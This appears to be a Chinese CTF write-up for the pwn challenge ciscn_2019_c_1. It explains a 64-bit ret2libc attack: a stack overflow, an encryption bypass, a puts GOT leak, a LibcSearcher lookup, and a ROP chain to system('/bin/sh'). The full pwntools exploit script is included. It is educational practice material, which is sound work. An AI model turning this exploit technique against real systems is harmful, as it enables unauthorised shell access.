首页 > 其他分享 >ciscn_2019_c_1

ciscn_2019_c_1

时间:2023-08-07 19:37:10浏览次数:40  
标签:p64 puts libc 函数 地址 2019 payload ciscn

ciscn_2019_c_1

0x01

简单的ret2libc3
file checksec —— 64-bit 开NX

0x02

运行一下看看

再看看IDA

研究了半天发现是让你加解密的
再看看string window 没用system和binsh
又发现加密函数里有gets函数,可构成栈溢出

0x03

分析大致流程就是

  1. 利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使用的libc的版本
  2. 用同一个程序里函数的地址-libc里的函数地址即可得到偏移量
  3. 得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后就可以去执行system(’/bin/sh‘)

0x04

写exp

from pwn import*
from LibcSearcher import*

p=remote('node4.buuoj.cn',28342)
elf=ELF('./ciscn_2019_c_1')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

p.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

p.sendlineafter('encrypted\n',payload)
p.recvline()
p.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr)

libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

p.sendlineafter('choice!\n','1')

payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

p.sendlineafter('encrypted\n',payload)

p.interactive()

0x05

libcsearch的github网址
安装

git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
sudo python setup.py develop

覆盖数据payload=b'\0'+b'a'*(0x50-1+8)
\0是为了让加密函数的一个strlen函数停止(这个函数遇‘0’会停止),从而绕过加密,保证我们构造的rop不会被破坏,
buf的大小为0x50
-1是减去\0
+8是覆盖rbp

这道题的接收非常讲究
泄露地址接收时先是两下recvline(),
原因

recvline()一次接收到\n;
第一次recvline只能到Ciphertext;
第二次只能接收到0a
第三次的recvuntil才开始处理泄露的got地址。
先开一下context_log_lever='debug',整体看一下, 再自己recvuntil看能接收到什么内容。

然后再用recvuntil('\n')[:-1].ljust(8,'\0')来舍弃接收到的字符串最后的’\x0’并向左补齐

这一道题是64位的程序,这边涉及到64位程序和32位程序运行时的区别了
32位程序运行执行指令的时候直接去内存地址寻址执行
64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序。因此要用寄存器存参

注意栈对齐

还有最后还要再输一个0

参考资料:
[BUUCTF]PWN6——ciscn_2019_c_1

标签:p64,puts,libc,函数,地址,2019,payload,ciscn
From: https://www.cnblogs.com/imarch22/p/17612510.html

相关文章

  • [ZJCTF 2019]NiZhuanSiWei
    [ZJCTF2019]NiZhuanSiWei题目来源:nssctf题目类型:web涉及考点:PHP反序列化、PHP伪协议1.还是日常代码审计<?php$text=$_GET["text"];$file=$_GET["file"];$password=$_GET["password"];if(isset($text)&&(file_get_contents($text,'r&#......
  • [十二省联考 2019] 字符串问题
    题目描述现有一个字符串\(S\)。Tiffany将从中划出\(n_a\)个子串作为\(A\)类串,第\(i\)个(\(1\leqslanti\leqslantn_a\))为\(A_i=S(la_i,ra_i)\)。类似地,Yazid将划出\(n_b\)个子串作为\(B\)类串,第\(i\)个(\(1\leqslanti\leqslantn_b\))为\(B_i=S(lb_i,......
  • IMOSL2019 C3~C9
    C3有一个很妙的做法。考虑把整个过程倒过来看。一开始,有一个指针在位置\(0\),所有硬币都是T。每次,可以把指针右移一位,使得移动后的指针指向一个T,之后要把这个T变为H可以把指针左移一位,使得移动后的指针指向一个H,之后要把这个H变为T考虑左移/右移操作形成的连续段......
  • 漏洞复现报告:CVE-2019-2890 反序列化漏洞
    OracleWebLogicServer漏洞研究报告一、漏洞信息搜集1.1漏洞信息表漏洞名称OracleWebLogicServer反序列化漏洞发布时间2019年10月16日漏洞编号CVE-2019-2890威胁类型反序列化漏洞危害级别高危影响版本OracleWebLogicServer10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0......
  • 7DGroup性能&测试开发文章持续更新(2019/11/20)
    性能闲谈系列:浅谈window桌面GUI技术及图像渲染性能测试实践杂谈:性能测试的范围到底有多大?戏说CPU使用率-驳《CPU使用率度量指标是扯淡!》译文标题对性能测试评估分析优化市场的反思泛谈系统级跟踪和应用级跟踪性能测试分析优化该有的范围期待996ICU的条款尽早加入到开源协议中!性能分......
  • [安洵杯 2019]game
    [安洵杯2019]game将文件放入IDA中打开,查看main()函数发现读取用户的输入,并存入v8这个变量当中,下面有两个关键函数check1()和check3()使用到了该变量,我们首先分析check1()发现有大量的循环,根据以往的经验,这是一种混淆手段,此题的程序流程不算复杂,可以跟着流程一步步分析经......
  • 亚洲唯一:瀚思科技入选2019 Gartner SIEM 领域 Peer Insights,其他第一象限的有splunk和
    亚洲唯一:瀚思科技入选GartnerSIEM领域PeerInsights  网络安全技术与产业,正在由传统的合规驱动,走向合规与需求双轮驱动。关注用户需求、倾听用户声音,根据实际情况打造优质的安全产品和服务,是任何一家优秀网络安全提供商的立命之本。——安全牛主编李少鹏近日,瀚思科技(HanSight......
  • SMU Summer 2023 Contest Round 9(2019 山东省大学生程序设计竞赛)
    2019山东省大学生程序设计竞赛A.Calandar纯模拟吧(感觉我做麻烦了(?),就是如果问的是未来的日期,就用相隔天数取模后加上这天的星期,如果问的是曾经的,就用这天的星期减去相隔天数的取模后的数,因为是减法,记得加模数#include<bits/stdc++.h>#defineintlonglong#defi......
  • [刷题笔记] Luogu P5662 [CSP-J2019] 纪念品
    ProblemDescription类似于炒股票,有买进有卖出,当天可以既买进又卖出无限次,现在有若干件物品,每件物品都有一个价格,每天每件物品的价格不一致,你初始有\(m\)元钱,想要通过若干次购进卖出的操作,使得\(T\)天后你手里的钱最多。要求:\(T\)天结束你手中的股票必须全部售出。Solution乍看......
  • CTFer成长记录——CTF之Web专题·极客大挑战 2019—http
    一、题目链接https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]Http二、解法步骤  本题名叫http,那么应该与http请求包里面的东西有关。   主页是一个招新页面,没有什么特别的,看看源代码:  在右侧的最下面发现了另一个页面,访问看看......